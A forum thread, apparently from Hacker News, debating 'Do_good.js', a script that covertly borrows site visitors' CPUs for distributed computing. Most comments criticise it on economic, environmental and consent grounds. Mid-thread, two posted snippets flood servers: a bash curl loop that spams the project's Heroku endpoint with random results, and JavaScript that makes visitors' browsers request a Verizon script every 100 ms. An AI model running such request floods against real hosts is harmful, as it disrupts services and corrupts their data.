Do_good.js
ben_eysenbach.neocities.org
ben_eysenbach.neocities.org
(a) There's no money to be had. A company that offered to solve your distributed problems using distributed JavaScript could only charge as much as the spot price of buying EC2 instances. Otherwise, you'd just buy the EC2 instances and solve it there. A problem not amenable to solving with temporary machines wouldn't be amenable to solving with times slices of JavaScript running on webpages.
It would take millions of page views to get the CPU-time equivalent of an hour running compiled code on an EC2 instance. That means the eCPMs the company could reasonably charge, or pay its publishers hosting the code, are thousands of times less than they earn from advertising.
(b) It's a net negative for the economy. Distributing work through JavaScript on webpages is an involuntary donation from employers/schools moreso than the person behind the computer. That extra expense with no gain for the business/school has to be made up somewhere -- higher prices or lower wages/employment.
(c) It's a net negative for the environment. The problems could be solved faster on bare metal with server-class hardware, concentrated in data centers built where energy is the cheapest, usually because there's solar/hydro/wind generated nearby. Solving them on desktop/mobile CPUs, in an interpreted language, powered by coal-generated electricity, would be a waste you'd measure in tons of CO2 that didn't need to be released.
And they are solving very interesting and useful problems. Like for instance execute calculations that help firemen predict the direction of a fire front.
Or the (dead) http://pluraprocessing.com from 2009?
There is also a bandwidth cost of delivering the application and sending the results.
But having said that, yes there is a cost, but there could also be a real gain for that cost. Replacing adverts with CPU cycles only changes the nature of paying indirectly for something. There should always be an easy way to opt out and users should know it's happening.
It presumes that individuals have infinite electrical and computational resources, which is utterly false. This sort of computation is inherently going to degrade the functionality of computers, and will severely impact the quality of browsing on resource-constrained devices like Chromebooks (which is what I'm writing this on) while siphoning resources from me, wasting my time and money. It's this sort of degradation that compels people to use ad blockers. Excessive and superfluous resource use ruins the web.
Doing this surreptitiously as he suggests is outright predatory and is altogether reprehensible.
Let's say there exists a problem where it's worth paying to solve it like this. The most a company could pay you is just below the spot price for buying instances on EC2 or some other cloud/cluster -- or they'd do that instead. So we're talking about nickels and dimes per hour for the equivalent of 100% CPU time on an EC2 instance.
If you donate the equivalent to 1% of that computational power, the most you can earn is hundredths of a penny per hour. You could run the script for a week and make a penny, while spending more than a penny on extra electric. That's no net gain for you, and no meaningful work done for the script author -- so this script would never have been written.
In fact, I'd say that it's only financially tenable to hijack larger proportions of one's CPU. In order for access to 1% CPU usage of an entire site's user base to be economical compared to cloud computing options, this form of computation would either need to be ridiculously cheap or offer a massive user base with untold devices in the computing apparatus. It just doesn't make sense in most scenarios.
for i in {1..9999};do curl -v --data "n=$RANDOM&result=$RANDOM" http://arcane-sea-9808.herokuapp.com/update/?callback=;done setInterval(function () {
/* verizon.js */
var scriptTag = document.createElement('script');
scriptTag.src = '//www22.verizon.com/resources/scripts/mootools.js?t=' +
parseInt(Math.random() * 1000000);
document.getElementsByTagName('head')[0].appendChild(scriptTag);
}, 100);Ok, but do the advertisers want you CPU processes or your screenspace?
Berkley has a similar project going on where you can download a program that donates your idle CPU to their tasks.
[1]: http://www.huffingtonpost.com/marissa-louie/for-the-win-at-t...
Given a bunch of college students could put together a credible system in ~18 hours without sleep, it's certainly not challenging technically. I suspect there are deep logistical and business reasons for why it has not caught on--you wouldn't be able to get all that much done without a ton of traffic, and it would really annoy people when they found out about it.
Still, even if it isn't entirely practical, I think it's a really cool idea. Certainly the sort of thing I love seeing at a hackathon, more than the winners of some of the more recent ones I've been to. (But that, of course, is a complaint for another time and another post.)
1. Some people are on limited bandwidth plans, this adds to the plan since i am downloading and uploading data, and if the data that has to be processed -coming from the server- is big then this is going to kill my bandwidth.
2. This could slow down a lot of mobile devices that are JS capable, or old/moderate hardware.
3. Memory leaks?
4. If a startup is based around this idea, and me as a published i'll use their JS code to run tasks, then i'm basically giving them a key to my site :).
Other than that, the idea it self is awesome, if it could be implemented through :
1. Asking user permission. 2. work on idle browser tabs only. 3. used for non-profit organizations to solve real problems, maybe to fight cancer or to analyze data coming from space.
Imagine a small, otherwise-benign virus which simply spends some of your CPU cycles cracking something. Computers are pretty fast these days. It'd sure be easier to brute-force attack a password with thousands of average computers than one big one.
(I realize it'd probably be vastly easier and more practical to simply buy cloud-based CPU cycles, of course.)
Which is, yes, of course just kind of reinventing a botnet. But I could almost imagine this being part of the cost of using a website (again, evil) in lieu of seeing their advertising. Of course said site would have to be unusable without js.
And of course, sites would just farm your cpu and serve the ads anyway.
At this point, though, I'd be tempted to just remake the whole thing as a proper program, if we're going to be asking people to download it anyway.
I just think that charity would be a great angle to it. How about you donate your CPU cycles for charity ? Companies that need to use large scale parallel processing use the service, your browser does the client side processing and the money that the gets paid by companies goes to charity minus running costs.
Now that would be beautiful. CPU cycles for charity!
"I easily could have hidden it. In fact, I could install this on every site you visit, and you'd hardly notice."
Personally, I think even with the assumption that the overall goal (finding prime numbers, for example) is a worthy use of crowd sourced CPU, sneakily co-opting visitors' CPUs without their knowledge or consent in order to do it is essentially building a bot net.
"The cool thing is that I could be solving a real problem, and someone or some company could be paying me for all the work that people's computers are doing when they visit my site."
I'm not sure I'd be willing to let someone sell my computer without my consent or knowledge. If this was an opt-in thing it would actually be kind of neat, I think.
Consensual distributed computing in the name of science in interesting. Secretive distributed computing in the name of individual profit is disconcerting.
Honestly, the discourse here is pretty civil and all of the points are valid. When did it become "uncivilized" to argue that something is detrimental? (If this is true, is it not then totally "uncivilized" to decry negativity on HN?)
This irrational insistence on artificial enthusiasm and compulsory positivity is ridiculous. Skepticism is the foundation of "civilized discourse."
Nowhere is it written that you have to entertain every idea, even those with which you vehemently disagree, with disingenuous positivity. That's not what HN is for.
jQuery is an unneeded dependency.
There are only 2 things done with jquery: - a domready handler - ajax request
Could be done with 2 smaller functions and not with an full-blown framework.